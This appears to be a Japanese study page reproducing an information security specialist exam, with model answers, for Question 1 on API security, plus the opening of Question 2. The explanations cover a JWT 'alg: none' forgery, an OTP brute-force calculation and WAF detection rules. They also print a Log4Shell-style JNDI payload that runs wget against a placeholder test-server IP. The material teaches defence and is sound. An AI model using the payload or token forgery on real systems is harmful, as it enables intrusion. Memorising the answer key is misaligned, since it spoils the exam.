‹

令和6年度 春期 午後

令和6年度 春期に実施された情報処理安全確保支援士試験 午後の全4問(記述式)です。事例本文・設問・解答例と解説をそのまま読めます。

この試験について:情報処理安全確保支援士試験について

この年度を解いてみる

問1 API セキュリティ

API セキュリティに関する次の記述を読んで,設問に答えよ。

G 社は,ヘルスケアサービス新興企業である。利用者が食事,体重などを入力して,そのデータを管理したり,健康リスクの判定や食事メニューのアドバイスを受けたりできるサービス(以下,サービス Y という)を計画している。具体的には,クラウドサービス上にサービス Y 用のシステム(以下,S システムという)を構築して,G 社が既に開発しているスマートフォン専用アプリケーションプログラム(以下,G 社スマホアプリという)からアクセスする。S システムの要件を図1に示す。

枠で囲んだ要件の一覧。要件1:利用者が入力したデータを蓄積する。要件2:蓄積したデータを機械学習で学習し,その結果を利用して健康リスクの判定や食事メニューのアドバイスを利用者に提供する。要件3:利用者のステータス(以下,利用者ステータスという)として,“有償利用者”と“無償利用者”を定義する。有償利用者の場合,全ての機能を利用できる。無償利用者の場合,機能の利用に一部制限がある。要件4:可能な限り,既存のサービスやライブラリを使って構築する。
図1 S システムの要件(抜粋)

G 社は,S システムの構築を IT ベンダー F 社に委託した。F 社との協議の結果,クラウドサービスプロバイダ E 社のクラウドサービス上に S システムを構築する方針にした。

〔API の設計〕

S システムには,将来的には他社が提供するスマートフォン専用アプリケーションプログラムからもアクセスすることを想定し,RESTful API 方式の API(以下,S システムの API を S-API という)を用意する。RESTful API の設計原則の一つにセッション管理を行わないという性質がある。この性質を a という。

E 社が提供するクラウドサービスのサービス一覧を表1に,サービス Y のシステム構成を図2に,S-API 呼出し時の動作概要を図3に,S-API の仕様を表2に,S システムの仕様を図4に,それぞれ示す。

サービス名とサービス概要の2列の表。サービス K:API ゲートウェイサービスである。当該サービスは,API へのリクエストを受信し,その内容に基づき,サービス L を呼び出す。サービス L:イベント駆動型のコンピューティングサービスである。サービス K からの呼出しがあったとき,又は指定された日時に,事前に定義された処理を実行する。また,外部サービスと連携する。サービス M:マネージド型のデータベースサービスである。サービス N:マネージド型の WAF サービスである。サービス K が受信した API へのリクエストを検査して,許可・検知・遮断を行う。注記 S システムの構築時点では,サービス N を導入しない計画である。
表1 E 社が提供するクラウドサービスのサービス一覧(抜粋)
左にスマートフォンの枠があり,G 社スマホアプリとメールアプリが入っている。スマートフォンはインターネットに接続されている。インターネットは右側の E 社クラウドサービスの枠に接続され,その中の S システムの枠にサービス K,サービス L,サービス M がある。インターネットには外部サービスも接続されている。注記 サービス K 及びサービス L からインターネットへの通信は許可されている。
図2 サービス Y のシステム構成
枠で囲んだ説明。G 社スマホアプリから S-API が呼び出された場合の動作は次のとおりである。・S-API が呼び出されると,S-API へのリクエストは,サービス K が一元的に受ける。サービス K は,そのリクエスト内容に基づき,サービス L を呼び出す。サービス L は,事前に定義された処理を実行してレスポンスをサービス K に返し,サービス K は,G 社スマホアプリにレスポンスを返す。・サービス L では,データベースのデータの読取り又は書込みが必要な場合は,事前に定義された処理からサービス M を呼び出す。
図3 S-API 呼出し時の動作概要(抜粋)
API 名,概要,メソッド,パラメータの4列の表。認証 API(1行目):概要“・利用者 ID とパスワードを検証する。・利用者 ID とパスワードが事前に登録されたものと一致した場合,毎回ランダムに生成される数字4桁の文字列(以下,文字列 X という)を,事前に登録されたメールアドレスに送信する。・一致しなかった場合,“認証失敗”となる。”,メソッド POST,パラメータ mid(利用者 ID),pass(パスワード)。認証 API(2行目):概要“・利用者の G 社スマホアプリから受信した利用者 ID と数字4桁の文字列を検証する。・G 社スマホアプリから受信した文字列が文字列 X と一致した場合,“認証成功”と判定し,JSON Web Token(以下,JWT という)を発行して JWT を含むレスポンスを返す。・文字列 X を生成してから10分以内に“認証成功”とならなかった場合,“認証失敗”となる。”,メソッド POST,パラメータ mid(利用者 ID),otp(G 社スマホアプリから受信した文字列)。利用者 API:概要“・利用者情報を取得,更新する。・F 社が既に開発済みの利用者管理共通ライブラリ(以下,共通モジュール P という)を利用する。共通モジュール P,及び共通モジュール P を呼び出す処理(以下,P 呼出し処理という)は,サービス L に定義されており,利用者ステータスの管理にも利用される。共通モジュール P は,サービス M を呼び出して,次の処理を行う。− GET メソッドが使われた場合,パラメータ mid で指定された利用者 ID にひも付く利用者情報を含むレスポンスを返す。− PUT メソッドが使われた場合,パラメータ mid で指定された利用者 ID にひも付く利用者情報を更新する。”,メソッド GET のパラメータ mid(利用者 ID),メソッド PUT のパラメータ mid(利用者 ID),name(名前),age(年齢)。注記 S システムは,表中のパラメータのほか,HTTP リクエストのヘッダに含まれる情報を用いて処理を行う。
表2 S-API の仕様(抜粋)
枠で囲んだ仕様。〔JWT を利用したアクセス〕・JWT は,“ヘッダ”,“ペイロード”,“署名”の3種類の要素から構成されており,各要素は base64url でエンコードされ,“.(ドット)”で結合されている。ヘッダ:署名の作成の際に使用するアルゴリズムが指定される。ペイロード:利用者 ID,有効期限などが含まれる。署名:ヘッダに指定されたアルゴリズムとシステムが生成したシークレットを使用し,ヘッダとペイロードに対する署名が作成される。・S システムでは,JWT の管理に,F 社が開発した JWT 管理ライブラリ(以下,ライブラリ Q という)を利用する。・S システムから発行された JWT は,G 社スマホアプリに保存される。G 社スマホアプリは,HTTP リクエスト内の Authorization ヘッダに Bearer スキームと JWT を設定し,S システムに送信する。S システムは,受信した JWT をライブラリ Q に渡す。ライブラリ Q は,JWT 内のヘッダに指定されたアルゴリズムに基づいて JWT を検証する。JWT 内の署名を検証した後,ペイロードに含まれた利用者 ID を確認して利用者を識別し,必要な情報を含めてレスポンスを返す。・JWT を利用したアクセスは,ペイロードに含まれた有効期限まで許可される。〔有償利用者に対する課金方法〕・課金には外部の課金サービスを利用する。〔機械学習による学習と判定・アドバイス〕・健康リスクの判定や食事メニューのアドバイスを行うため,外部の機械学習サービスを学習と分析に利用する。・機械学習による学習は,日次バッチ処理で実現する。サービス L に定義された処理を午前1時に起動して,サービス M からデータを取り出し,外部の機械学習サービスにデータを入力する。・G 社スマホアプリから S-API の一つである健康リスク判定 API,食事推奨 API が呼び出された場合,サービス L に定義された処理が外部の機械学習サービスを呼び出して,判定・アドバイスを取得する。
図4 S システムの仕様(抜粋)

〔脆弱性診断の結果〕

S システムの構築が進み全ての機能を動作確認できたので,G 社で S システムのセキュリティを担当する R さんが,セキュリティベンダーである U 社に脆弱性診断(以下,診断という)を依頼した。U 社による診断レポートを表3に示す。

項番,名称,対象 API,脆弱性の4列の表。項番1:名称 JWT 改ざんによるなりすまし,対象 API 全体,脆弱性“JWT に指定された利用者 ID を利用してデータが取得,更新されるので,ヘッダとペイロードを改ざんした JWT を送信すると,他の利用者へのなりすましが可能である。”。項番2:名称 アクセスコントロールの不備 A,対象 API 利用者 API,脆弱性“パラメータ mid に他の利用者 ID を指定すると,他の利用者 ID にひも付く利用者情報を取得,改変できてしまう。”。項番3:名称 アクセスコントロールの不備 B,対象 API 利用者 API,脆弱性“利用者 API で利用者情報を更新する場合,“paid”という値を設定したパラメータ“status”を追加して送信すると,利用者ステータスを無償利用者から有償利用者に改変できてしまう。”。項番4:名称 2要素認証の突破,対象 API 認証 API,脆弱性“総当たり攻撃によって,文字列 X を使った認証メカニズムを突破できる。1秒間に10回試行する総当たり攻撃を行った場合,文字列 X の検証において,平均的な認証成功までの時間は [ b ] 秒になり,突破される可能性が高い。”。
表3 U 社による診断レポート(抜粋)

表3の項番1について,U 社のセキュリティコンサルタントで情報処理安全確保支援士(登録セキスペ)の Z 氏は,次のように説明した。

ヘッダとペイロードの2列の表。ヘッダ:{ "alg": "RS256", (省略) }。ペイロード:{ "user": "user01", "iat": 1713059329, "exp": 1713664129, (省略) }。
表4 JWT のデコード結果(抜粋)

項番2〜4についても説明を受けた後,G 社は,表3の脆弱性を分析し,対策について,F 社,U 社を交えて検討した。

R さんが取りまとめた脆弱性の分析と対策案を表5に示す。

表3の項番,分析,対策案の3列の表。項番1:分析(省略),対策案“①ライブラリ Q を修正する。”(この対策案に下線①が付いている)。項番2:分析(省略),対策案“②P 呼出し処理に処理を追加する。”(この対策案に下線②が付いている)。項番3:分析“利用者 API の仕様には,パラメータ“status”の指定について定義されていない。一方,実装は,指定されたパラメータを検証せず全て [ c ] に送信していた。ここで,送信内容を改ざんしてパラメータ“status”を追加してリクエストを送信すると,[ c ] は利用者ステータスを変更できる。”,対策案“プログラムの修正で対応する。”。項番4:分析(省略),対策案“次の対策を実施する。− [ d ] を実装する。そのしきい値は10とする。− 突破される可能性を十分に低減するために,文字列 X を数字6桁に変更する。”。
表5 脆弱性の分析と対策案

全ての対応が完了した後,試用モニターを対象に,サービス Y の提供を開始した。

〔セキュリティの強化〕

G 社は,試用モニターへのサービス Y の提供期間中に,インシデント対応に必要なログの取得方法を検討することになり,F 社と協議した。

F 社によれば,ログ取得モジュールを実装するには時間が掛かるが,ログ取得モジュールを実装しなくても,サービス N を導入することによって,通信ログを取得できるという。

サービス N における WAF ルールの記述形式を図5に示す。

枠で囲んだ説明。・ルールは,[検証対象],[パターン]及び[動作]の三つを1行に記述する。・[検証対象]には,次のいずれかを指定する。GET:GET メソッドのパラメータの値を検証対象とする。POST:POST メソッドのパラメータの値を検証対象とする。PUT:PUT メソッドのパラメータの値を検証対象とする。ANY:全てのメソッドのパラメータの値を検証対象とする。Header:全てのヘッダの値を検証対象とする。COOKIE:cookie の値を検証対象とする。Multipart:Multipart/form-data のフィールドの値を検証対象とする。・[パターン]には,次の要素で構成される正規表現を指定する。^:文字列の先頭とマッチする。\W:任意の非英数字とマッチする。x|y:x 又は y とマッチする。(x|y)z:xz 又は yz とマッチする。[xyz]:x,y 又は z のいずれかにマッチする。.:任意の文字とマッチする。\.:“.”とマッチする。*:直前の要素の0回以上の繰返しにマッチする。・[動作]には,次のいずれかを指定する。許可:通信を通過させ,ログに記録しない。検知:通信を通過させ,ログに記録し,管理者にアラートを送信する。遮断:通信を遮断し,ログに記録し,管理者にアラートを送信する。
図5 サービス N における WAF ルールの記述形式

R さんは,サービス N の S システムへの導入を責任者に提案し,承認を得た。サービス N の導入完了後,サービス Y の提供を開始した。

〔新たな脆弱性への対応〕

数週間後,ライブラリ H というオープンソースのライブラリに脆弱性 V という脆弱性があることが公表された。R さんは,脆弱性 V についての関連情報を図6のように取りまとめた。

枠で囲んだ説明。・ライブラリ H は,非常に多くのシステムで利用されており,既に脆弱性 V が攻撃に悪用されている事例が報告されている。・脆弱性 V が存在するサーバ(以下,攻撃対象サーバという)への攻撃の流れを次に示す。(1) 攻撃者は,事前に攻撃用 LDAP サーバと攻撃用 HTTP サーバを準備する。(2) 攻撃者は,実行したいコマンド(以下,コマンド C という)を base64 でエンコードした文字列を含む,攻撃用 LDAP サーバに送信する LDAP リクエスト(以下,LDAP リクエスト W という)を作成する。その後,LDAP リクエスト W を含み,脆弱性 V を悪用する JNDI Lookup(Java Naming and Directory Interface Lookup)を行う攻撃コードを準備する。(3) 準備した攻撃コードを HTTP リクエストの x-api-version ヘッダの値として指定した HTTP リクエストを攻撃対象サーバに送信する。(4) 攻撃対象サーバは,HTTP リクエストを受信すると,攻撃コードを実行する。攻撃コードの JNDI Lookup を実行し,LDAP リクエスト W を攻撃用 LDAP サーバに送信する。(5) 攻撃用 LDAP サーバは,LDAP リクエスト W から,コマンド C を base64 でエンコードした文字列を取り出し,デコードしてコマンド C を取り出す。コマンド C を実行させる Java クラスファイル(以下,J ファイルという)を自動生成し,攻撃用 HTTP サーバに配置する。攻撃用 HTTP サーバは,J ファイルが配置された攻撃用 HTTP サーバの URL(以下,URL-J という)を攻撃用 LDAP サーバに伝える。(6) 攻撃用 LDAP サーバは,URL-J を LDAP レスポンスに記載して攻撃対象サーバに返す。(7) 攻撃対象サーバは,受信した LDAP レスポンスに記載された URL-J にアクセスし,J ファイルをダウンロードして,コマンド C を実行する。・脆弱性 V の CVSS v3.1 に基づいた基本値は9.8と高く,早急な対応が推奨されている。しかし,現時点において,ライブラリ H の公式 Web サイトでは,脆弱性 V を修正したバージョンや暫定対策は提供されていない。・G 社は S システムでライブラリ H を利用しているかを F 社に問い合わせているが,S システムの構成を詳細に分析しなければならず,回答まで時間が掛かるとのことである。・E 社は,脆弱性 V を悪用した攻撃を検知するために,サービス N における WAF ルールを現在開発中であるが,悪用パターンが多岐にわたることから,網羅性のある WAF ルールの提供には最大で72時間掛かると発表している。
図6 脆弱性 V についての関連情報(抜粋)

R さんは,脆弱性 V への対応方針を Z 氏に相談した。Z 氏は,F 社の回答を待ってからの対応では遅いので,システムに影響を与えない検証コードを S システムに対して実行し,外部から脆弱性 V を悪用できるか検証するよう提案した。R さんは,Z 氏の協力の下,図7に示す手順で検証を実施した。

枠で囲んだ手順。(1) 攻撃用 LDAP サーバと攻撃用 HTTP サーバを兼ねたサーバ(以下,テストサーバという)を構築する。(2) 図8に示す検証コードを作成する。(3) ③図8で指定したコマンドが実行されたことを確認する仕組みをテストサーバに実装する。(“図8で指定したコマンドが実行されたことを確認する仕組み”に下線③が付いている)(4) 検証コードを HTTP リクエスト中に指定して S システムに送信する。
図7 R さんが実施した検証手順
枠で囲んだ検証コード(1行):${jndi:ldap://a2.b2.c2.d2:1389/Command/Base64/d2dldCBodHRwOi8vYTIuYjIuYzIuZDIvaW5kZXguaHRtbA==}。注記1 a2.b2.c2.d2 は,R さんがテストサーバに割り当てた IP アドレスである。注記2 d2dldCBodHRwOi8vYTIuYjIuYzIuZDIvaW5kZXguaHRtbA==のデコード結果は,wget http://a2.b2.c2.d2/index.html である。これは,コマンド C に相当する。
図8 作成した検証コード

検証の結果,外部から脆弱性 V を悪用できることが確認できた。この結果を踏まえて,R さんは,脆弱性 V を悪用する攻撃に備え,E 社から WAF ルールが提供されるまでの間,現在判明している悪用パターンに対応可能な暫定的な WAF ルールで攻撃を遮断することにした。

R さんが考えた WAF ルールの案を表6に示す。

ルール,検証対象,パターン,動作の4列の表。ルール1:検証対象 [ e ],パターン \Wjndi\W,動作 遮断。ルール2:検証対象 [ f ],パターン \Wldap\W,動作 遮断。
表6 WAF ルールの案

R さんは,例えば“jnDI”のように大文字・小文字を入れ替える手口によって,ルール1と2それぞれで,案のパターンを回避する方法があることに気付いた。④このような手口にも対応できるように案を変更した。その後,変更後の案の確認を Z 氏に依頼した。

Z 氏は,⑤本番運用開始後の一定期間においては,WAF ルールの動作には“検知”を設定して,サービス Y が今までどおり利用できるかを確認することを助言した。R さんは,Z 氏の助言を踏まえて,WAF ルールを設定した。

後日,S システムでは,ライブラリ H を利用しているとの回答が F 社からあった。また,E 社からサービス N における WAF ルールが提供された。その後,脆弱性 V を修正したバージョンがライブラリ H の公式 Web サイトで配布され,S システム内のライブラリ H のバージョンを最新にすることで,脆弱性 V への対応が完了した。

出題趣旨(IPA)

多くのシステムにおいて,スマートフォンのアプリケーションプログラムを利用したAPI連携が行われる中,APIの脆弱性を作り込むケースが増えている。本問では,APIセキュリティを題材として,指摘された脆弱性に対して対策を立案する能力を問う。

採点講評(問全体・IPA)

問1では,APIセキュリティを題材に,セキュリティ設計及び脆弱性対応について出題した。全体として正答率は平均的であった。

設問と解答例

設問1 解答欄1つ

本文中の a に入れる適切な字句を答えよ。

〔a〕解答例

  • ステートレス
解説

本文の根拠

〔API の設計〕

RESTful API の設計原則の一つにセッション管理を行わないという性質がある。この性質を a という。

図4 〔JWT を利用したアクセス〕

G 社スマホアプリは,HTTP リクエスト内の Authorization ヘッダに Bearer スキームと JWT を設定し,S システムに送信する。

サーバ側でセッションの状態を保持せず,リクエストごとに処理に必要な情報をすべて含めて送る性質を“ステートレス”という。RESTful API の設計原則(REST の制約)の一つであり,サーバはリクエスト間でクライアントの状態を覚えないので,スケールさせやすい。

本文の S システムもこの考え方に沿っている。図4のとおり,G 社スマホアプリは毎回 Authorization ヘッダに JWT を付けて送り,S システムは受け取った JWT の署名とペイロードの利用者 ID から利用者を識別する。サーバ側のセッション管理に頼らず,リクエスト自体が認証情報を運んでいる。

間違えやすい点。反対の性質は“ステートフル”である。“セッションレス”のような造語ではなく,用語としての“ステートレス”を書く。

設問2(1) 解答欄1つ

表3中の b に入れる適切な数値を,小数点以下を四捨五入して,整数で答えよ。

〔b〕解答例

  • 500
解説

本文の根拠

表2 認証 API

毎回ランダムに生成される数字4桁の文字列(以下,文字列 X という)を,事前に登録されたメールアドレスに送信する。

表3 項番4

1秒間に10回試行する総当たり攻撃を行った場合,文字列 X の検証において,平均的な認証成功までの時間は b 秒になり,突破される可能性が高い。

表2 認証 API

文字列 X を生成してから10分以内に“認証成功”とならなかった場合,“認証失敗”となる。

文字列 X は数字4桁なので,0000〜9999 の 10,000 通りある。総当たりで順に試すと,当たるまでの試行回数は 1〜10,000 回のどれも同じ確からしさで,平均はおよそ 10,000÷2=5,000 回(厳密には 5,000.5 回)になる。1秒間に10回試行するので,5,000÷10=500 秒である。

表2では文字列 X の有効期間は生成から10分(600秒)である。平均 500 秒はその内側に収まるので,表3のとおり“突破される可能性が高い”。表5の対策で文字列 X を6桁にすると,平均は 500,000÷10=50,000 秒となり,10分の有効期間内に当たる見込みは小さくなる。

間違えやすい点。全通りを試す時間(10,000÷10=1,000 秒)を答えにしない。問われているのは“平均的な”時間であり,小数点以下を四捨五入して整数の 500 と書く。

設問2(2) 解答欄2つ

表5中の下線①について,修正後のライブラリ Q で行う JWT の検証では,どのようなデータに対してどのような検証を行うか。検証対象となるデータと検証の内容を,それぞれ20字以内で答えよ。

〔データ〕解答例

  • JWTヘッダ内のalgに指定された値

〔内容〕解答例

  • NONEでないことを検証する。
解説

本文の根拠

図4 〔JWT を利用したアクセス〕

ヘッダ:署名の作成の際に使用するアルゴリズムが指定される。

図4 〔JWT を利用したアクセス〕

ライブラリ Q は,JWT 内のヘッダに指定されたアルゴリズムに基づいて JWT を検証する。

〔脆弱性診断の結果〕

表4中の“RS256”の代わりに“NONE”を指定し,“user01”を他の利用者 ID に改ざんした JWT を送信したところ,改ざんした JWT の検証が成功し,他の利用者へのなりすましができた。

JWT のヘッダの alg には署名アルゴリズムが入る。JWT の仕様(RFC 7519,アルゴリズムは RFC 7518)では alg に“none”を指定した,署名の無い JWT も定義されている。ライブラリ Q は“ヘッダに指定されたアルゴリズムに基づいて”検証するので,攻撃者が alg を NONE に書き換えると署名の検証が行われず,ペイロードの利用者 ID を自由に書き換えた JWT が通ってしまう。

したがって修正後のライブラリ Q は,検証対象のデータとして“JWT ヘッダ内の alg に指定された値”を見て,それが NONE でないこと(署名の無い JWT を受け付けないこと)を検証する。表4のとおり正規に発行される JWT の alg は RS256 なので,NONE を拒否すれば Z 氏が示した改ざんは成立しない。

字数はそれぞれ20字以内。データは“JWT ヘッダ内の alg の値”,内容は“NONE でないことを検証する”と,どの欄に何を見るかを分けて書く。講評のとおり,既に行っている署名の検証そのもの(“署名を検証する”)を書いても,この脆弱性への対策にはならない。

採点講評(IPA)

設問2(2)は,正答率がやや低かった。JSON Web Token(JWT)改ざんにおける検証方法を問うたが,既に実装されている対策を解答するなど,脆弱性を正しく理解していないと思われる解答が散見された。図4に示す仕様と表3に示す脆弱性を正しく理解してほしい。

設問2(3) 40字以内

表5中の下線②について,P 呼出し処理に追加すべき処理を,40字以内で具体的に答えよ。

解答例

  • JWTに含まれる利用者IDがmidの値と一致するかどうかを検証する処理
解説

本文の根拠

表3 項番2

パラメータ mid に他の利用者 ID を指定すると,他の利用者 ID にひも付く利用者情報を取得,改変できてしまう。

図4 〔JWT を利用したアクセス〕

JWT 内の署名を検証した後,ペイロードに含まれた利用者 ID を確認して利用者を識別し,必要な情報を含めてレスポンスを返す。

表2 利用者 API

GET メソッドが使われた場合,パラメータ mid で指定された利用者 ID にひも付く利用者情報を含むレスポンスを返す。

利用者 API は,パラメータ mid で指定された利用者 ID の情報を読み書きする。一方,リクエストを送ってきたのが誰かは,署名を検証した JWT のペイロードにある利用者 ID で分かる。項番2の脆弱性は,この二つを照合せず,mid に他人の ID を入れるだけで他人の情報に届いてしまうことにある。

そこで P 呼出し処理に,JWT に含まれる利用者 ID と mid の値が一致するかを検証し,一致しなければ処理しない処理を追加する。JWT は署名で改ざんが検知できる(設問2(2)の修正後)ので,その利用者 ID は信頼でき,本人の情報にしかアクセスできなくなる。

字数は40字以内(解答例は35字)。“JWT の利用者 ID”“mid の値”“一致を検証”の三つを入れる。“アクセス制御を行う”だけでは,何と何を比べるかが書けておらず具体的でない。

設問2(4) 解答欄1つ

表5中の c に入れる適切な字句を,表2中の用語で答えよ。

〔c〕解答例

  • 共通モジュールP
解説

本文の根拠

表2 利用者 API

共通モジュール P,及び共通モジュール P を呼び出す処理(以下,P 呼出し処理という)は,サービス L に定義されており,利用者ステータスの管理にも利用される。

表5 項番3

一方,実装は,指定されたパラメータを検証せず全て c に送信していた。

表2 利用者 API

PUT メソッドが使われた場合,パラメータ mid で指定された利用者 ID にひも付く利用者情報を更新する。

利用者 API の PUT で利用者情報を更新するのは共通モジュール P であり,P は“利用者ステータスの管理にも利用される”。P 呼出し処理が受け取ったパラメータを検証せずにすべて P に渡すと,仕様に無い status=paid を追加しただけで,P が利用者ステータスを有償利用者に書き換えてしまう。

したがって c は“共通モジュール P”である。リクエストの値をそのまま内部のデータ更新に流し込むことで,本来変更させない項目まで書き換えられる脆弱性(一般にマスアサインメントと呼ばれる)に当たる。

“表2中の用語で”という指定なので,“サービス M”や“データベース”ではなく,表2に出てくる“共通モジュール P”と書く。P 呼出し処理は送る側なので c には当たらない。

設問2(5) 解答欄1つ

表5中の d に入れる適切な処理内容を,30字以内で答えよ。

〔d〕解答例

  • 連続失敗回数がしきい値を超えたらアカウントをロックする処理
解説

本文の根拠

表5 項番4

d を実装する。そのしきい値は10とする。

表3 項番4

総当たり攻撃によって,文字列 X を使った認証メカニズムを突破できる。

項番4の脆弱性は,文字列 X を何度でも試せるために総当たりで当てられることである。“しきい値は10”という対策の記述から,試行回数に上限を設け,連続して失敗した回数がしきい値を超えたらアカウントをロックする(それ以上の試行を受け付けない)処理が d に入る。

6桁化と組み合わせると,攻撃者は 1,000,000 通りのうち10回程度しか試せず,当たる確率は十分小さくなる。

字数は30字以内(解答例は29字)。“連続失敗回数”“しきい値を超えたら”“アカウントロック”の三つを入れる。“回数制限”とだけ書くと,超えたときに何をするかが抜ける。

設問3(1) 35字以内

図7中の下線③について,テストサーバに実装する仕組みを,35字以内で具体的に答えよ。

解答例

  • テストサーバのindex.htmlへのアクセスを記録し,確認する仕組み
解説

本文の根拠

図7 (1)

攻撃用 LDAP サーバと攻撃用 HTTP サーバを兼ねたサーバ(以下,テストサーバという)を構築する。

図8 注記2

d2dldCBodHRwOi8vYTIuYjIuYzIuZDIvaW5kZXguaHRtbA==のデコード結果は,wget http://a2.b2.c2.d2/index.html である。これは,コマンド C に相当する。

図6 (7)

攻撃対象サーバは,受信した LDAP レスポンスに記載された URL-J にアクセスし,J ファイルをダウンロードして,コマンド C を実行する。

検証コードで実行させるコマンド C は“wget http://a2.b2.c2.d2/index.html”であり,a2.b2.c2.d2 はテストサーバ自身の IP アドレスである。脆弱性 V が悪用できれば,S システムがこのコマンドを実行してテストサーバの index.html を取りに来る。

したがって,テストサーバ(HTTP サーバを兼ねる)で index.html へのアクセスを記録し,S システムからのアクセスがあったかを確認する仕組みを用意すればよい。図6(7)で攻撃対象サーバが J ファイルを取りに来るアクセスとは別に,コマンド C の実行結果として index.html へのアクセスが来ることが,コマンドの実行の証拠になる。

字数は35字以内(解答例はちょうど35字)。“テストサーバ”“index.html へのアクセス”“記録・確認”を入れる。講評のとおり,LDAP リクエストの受信だけを確認する答えは,図6の流れのうちコマンドの実行までを確かめたことにならない。

採点講評(IPA)

設問3(1)は,正答率がやや低かった。脆弱性の存在を判断するための仕組みについて問うたが,図6に示す攻撃の流れに合っていない解答が散見された。脆弱性対策では,脆弱性を悪用する攻撃の流れの理解が重要であることから,正確に理解してほしい。

設問3(2) 解答欄2つ

表6中の e,f に入れる適切な字句を,図5中から選び答えよ。

〔e〕解答例

  • Header

〔f〕解答例

  • Header
解説

本文の根拠

図6 (3)

準備した攻撃コードを HTTP リクエストの x-api-version ヘッダの値として指定した HTTP リクエストを攻撃対象サーバに送信する。

図5

Header:全てのヘッダの値を検証対象とする。

図6(3)のとおり,脆弱性 V を悪用する攻撃コードは HTTP リクエストの x-api-version ヘッダの値として送られる。図5の検証対象のうち,ヘッダの値を調べられるのは“Header”だけである。

攻撃コードの中には“jndi”と“ldap”の両方が現れる(図8の ${jndi:ldap://…})ので,ルール1,2のどちらも検証対象は Header にして,ヘッダの値に含まれる文字列を遮断する。

間違えやすい点。GET・POST・ANY はパラメータの値を見るもので,ヘッダは対象外である。COOKIE も cookie の値だけを見る。e,f は同じ“Header”でよい。

設問3(3)

本文中の下線④の変更後の案について,表6中のルール1に記述すべきパターンを,図5の記述形式で答えよ。

解答例(2通り)

  • \W[jJ][nN][dD][iI]\W
  • \W(j|J)(n|N)(d|D)(i|I)\W
解説

本文の根拠

表6 ルール1

検証対象 e,パターン \Wjndi\W,動作 遮断。

図5

[xyz]:x,y 又は z のいずれかにマッチする。

図5

(x|y)z:xz 又は yz とマッチする。

〔新たな脆弱性への対応〕

例えば“jnDI”のように大文字・小文字を入れ替える手口によって,ルール1と2それぞれで,案のパターンを回避する方法があることに気付いた。

案のパターン \Wjndi\W は小文字の jndi にしかマッチしないので,“jnDI”のように大文字を混ぜると回避される。jndi の4文字それぞれについて,小文字と大文字のどちらでもマッチするように書けばよい。

図5の要素では,[xyz] で“いずれか1文字”を表せるので \W[jJ][nN][dD][iI]\W と書ける。x|y を括弧でくくった (j|J)(n|N)(d|D)(i|I) を使って \W(j|J)(n|N)(d|D)(i|I)\W としてもよい(解答例の別解)。前後の \W は案のまま残す。

書き方の注意。冊子の図は円記号(¥)で印字しているが,解答例と同じバックスラッシュで,正規表現では非英数字を表す。. や * を使って“\Wj.*i\W”のように広げると,関係のない文字列まで遮断して誤検知が増えるので,図5の記述形式で必要十分に書く。

設問3(4) 解答欄2つ

本文中の下線⑤について,WAF ルールの動作に“遮断”ではなく“検知”を設定することによる利点と,“検知”に設定した際に被害を最小化するために実施すべき内容を,それぞれ25字以内で答えよ。

〔利点〕解答例

  • 誤検知による遮断を防ぐことができる。

〔内容〕解答例

  • アラートを受信したら攻撃かどうかを精査する。
解説

本文の根拠

〔新たな脆弱性への対応〕

本番運用開始後の一定期間においては,WAF ルールの動作には“検知”を設定して,サービス Y が今までどおり利用できるかを確認する

図5

検知:通信を通過させ,ログに記録し,管理者にアラートを送信する。

図5

遮断:通信を遮断し,ログに記録し,管理者にアラートを送信する。

新しく作った暫定ルールは,正常なリクエストにも当たってしまう(誤検知する)おそれがある。最初から“遮断”にすると,誤検知した正常な通信まで止まり,サービス Y が使えなくなる。“検知”なら通信は通したまま記録とアラートだけが行われるので,誤検知による遮断を防ぎながら,ルールの当たり方を確かめられる。これが利点である。

ただし“検知”の間は本物の攻撃も通過してしまう。そこで,アラートを受信したらその通信が攻撃かどうかをすぐに精査し,攻撃なら対処することで,被害を最小化する。誤検知が無いと確かめられたら“遮断”に切り替える。

字数はそれぞれ25字以内(解答例は利点18字,内容22字)。利点は“誤検知による遮断を防ぐ”,内容は“アラートを受けたら攻撃か精査する”と,検知の性質(通過させてアラート)に結び付けて書く。

採点講評(IPA)

設問3(4)の利点については,正答率が高かった。WAFの利点と課題は正確に理解していると思われる。セキュリティ施策は導入前にトレードオフを検討してほしい。

出典:令和6年度 春期 情報処理安全確保支援士試験 午後 問1(表記を一部改変)

問2 サイバー攻撃への対策

サイバー攻撃への対策に関する次の記述を読んで,設問に答えよ。

H 社は,従業員 3,000 名の製造業であり,H 社製品の部品を製造する約 500 社と取引を行っている。取引先は,H 社に設置された取引先向け Web サーバに HTTPS でアクセスし,利用者 ID とパスワードでログインした後,H 社との取引業務を行っている。また,公開 Web サーバでは,H 社製品の紹介に加え,問合せや要望の受付を行っている。いずれの Web サーバが停止しても,業務に支障が出る。

H 社では,社内に設置している PC(以下,H-PC という)とは別に,一部の従業員に対して,VPN クライアントソフトウェアを導入したリモート接続用 PC(以下,リモート接続用 PC を R-PC という)を貸与し,リモートワークを実現している。R-PC と H 社との間の VPN 通信には,VPN ゲートウェイ(以下,VPN ゲートウェイを VPN-GW といい,H 社が使用している VPN-GW を VPN-H という)を使用している。

H 社のネットワークは,情報システム部の L 部長と T 主任を含む 6 名で運用している。H 社のネットワーク構成を図1に示す。

H 社のネットワーク構成図。複数の R-PC がインターネットに接続されている。インターネットは H 社の枠内の UTM に接続されている。UTM の左側は DMZ(破線の枠)の L2SW に接続され,L2SW には取引先向け Web サーバ,公開 Web サーバ,DNS サーバ 1),プロキシサーバ 2),メールサーバ,VPN-H が接続されている。UTM の右側は内部サーバセグメント(破線の枠)と,PC セグメント(破線の枠:L2SW に複数の H-PC が接続)に接続されている。凡例:L2SW:レイヤー2スイッチ,UTM:統合脅威管理,メール:電子メール。注 1) H 社ドメインの権威 DNS サーバと再帰的な名前解決を行うフルサービスリゾルバを兼ねる。注 2) H-PC からインターネットへの HTTP 及び HTTPS 通信を中継する。
図1 H 社のネットワーク構成

UTM の機能概要及び設定を表1に,VPN-H の機能概要及び設定を表2に示す。

機能名,機能概要,設定の3列の表。ファイアウォール機能:ステートフルパケットインスペクション型であり,送信元の IP アドレスとポート番号,宛先の IP アドレスとポート番号の組合せによる通信の許可と拒否のルールによって通信を制御する。設定 有効。NAT 機能:(省略)。設定 有効。IPS 機能:不正アクセスの検知方法は,次の2通りを設定できる。アノマリ型:あらかじめ登録したしきい値を超えた通信を異常として検知する。シグネチャ型:あらかじめ登録したシグネチャと一致した通信を異常として検知する。設定 無効。WAF 機能:不正アクセスの検知方法は,IPS 機能と同様に,アノマリ型とシグネチャ型を設定できる。設定 無効。
